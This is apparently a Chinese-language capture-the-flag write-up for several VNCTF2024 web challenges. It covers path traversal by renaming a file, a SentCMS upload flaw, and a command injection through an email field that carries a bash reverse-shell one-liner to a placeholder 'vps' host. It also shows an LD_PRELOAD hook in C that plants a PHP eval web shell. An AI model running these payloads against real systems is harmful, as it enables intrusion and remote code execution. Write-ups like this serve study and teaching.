VNCTF2024-WEB-gxngxngxn

VNCTF2024-WEB-gxngxngxn

Checkin

签到题,直接看js文件


CutePath

按照上述穿越下

可以看到一串base64加密的,解密后是账号密码:

登录看到有新功能,可以重命名文件.

我们找到flag.txt文件,但是不能查看,我们可以利用重命名将flag.txt文件传送到share_main目录下,这样我们就可以查看了:

直接将flag.txt重命名为../../../../../home/ming/share_main/flag.txt即可:

TrySent

Sentcms任意文件上传

直接访问/user/upload/index?name=icon&type=image

上传访问即可

codefever_again

正则过滤不严谨导致的命令拼接注入

解法一:

由于我审计代码的时候,不小心就看到了出题人留在附件里忘记删除的exp(故意的还是不小心的😀

所以直接用出题人的exp打了个一血:

解法二:

后面仔细看了下出题人师傅的github所提的问题

出题人师傅是在注册时拼接了一个恶意的email,所以后端正则匹配不严谨,导致恶意账号能通过

形如:

gxngxngxn;bash${IFS}-c${IFS}'bash${IFS}-i>&/dev/tcp/vps/port<&1'@qq.com

然后在后面尝试的时候,看到我们就算注册以后,还能修改邮箱,那么是否可以注册正常的账号,再修改为恶意email呢?

我们先注册一个注册的账号:

再修改为恶意账号:

然后去新建仓库和仓库组:

建完以后会发现一直在加载,说明弹shell成功:

givenphp

whoami命令劫持

 <?php
highlight_file(__FILE__);
if(isset($_POST['upload'])){
    handleFileUpload($_FILES['file']);
}

if(isset($_GET['challenge'])){
    waf();
    $value=$_GET['value'];
    $key=$_GET['key'];
    $func=create_function("","putenv('$key=$value');");
    if($func==$_GET['guess']){
        $func();
        system("whoami");
    }
}
function waf()
{
    if(preg_match('/\'|"|%|\(|\)|;|bash/i',$_GET['key'])||preg_match('/\'|"|%|\(|\)|;|bash/i',$_GET['value'])){
        die("evil input!!!");
    }
}
function handleFileUpload($file)
{
    $uploadDirectory = '/tmp/';

    if ($file['error'] !== UPLOAD_ERR_OK) {
        echo '文件上传失败。';
        return;
    }
    $fileExtension = pathinfo($file['name'], PATHINFO_EXTENSION);

    $newFileName = uniqid('uploaded_file_', true) . '.' . $fileExtension;
    $destination = $uploadDirectory . $newFileName;
    if (move_uploaded_file($file['tmp_name'], $destination)) {
        echo $destination;
    } else {
        echo '文件移动失败。';
    }
} 

有个传文件到tmp目录下的功能,还有个设置环境变量的功能,并且会调用whoami命令。

看到putenv的时候一开始想用环境变量注入,但是看到waf,emmmm,好像就是为了禁止这个注入而写的,我也不想去绕这个

于是转化思想,环境变量注入肯定用不到文件上传,那么要用到文件上传和putenv的,可以想到是LD_PRELOAD劫持,我们只要劫持whoami命令就行

那么思路很明显,传个.so文件上去,然后设置环境变量试设置LD_PRELOAD=$PWD/xxxx.so,完美!接下来实践即可

首先写个.c文件:

#include <stdio.h>
#include <stdlib.h>

int puts(const char *message) {
  printf("hack you!!!");
  system("echo '<?php @eval($_POST[0]);?>' > /var/www/html/gxngxngxn.php");
  return 0;
}

然后编译为.so文件:

gcc hook.c -o hook.so -fPIC -shared -ldl -D_GNU_SOURCE

上传:

构造个数据包,由于guess要我们猜匿名函数的名字,他会随着我们每次请求增长,我们只要先设置个比较后面的,然后不断发包即可:

GET /?challenge=1&value=/tmp/uploaded_file_65d03e3e906182.36544985.so&key=LD_PRELOAD&guess=%00lambda_20 HTTP/1.1
Host: 101522b7-51aa-415b-a4ca-3ae3dd7a4c20.vnctf2024.manqiu.top
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

访问gxngxngxn.php,成功写入rce

posted @ 2024-02-18 09:59  gxngxngxn  阅读(397)  评论(0编辑  收藏  举报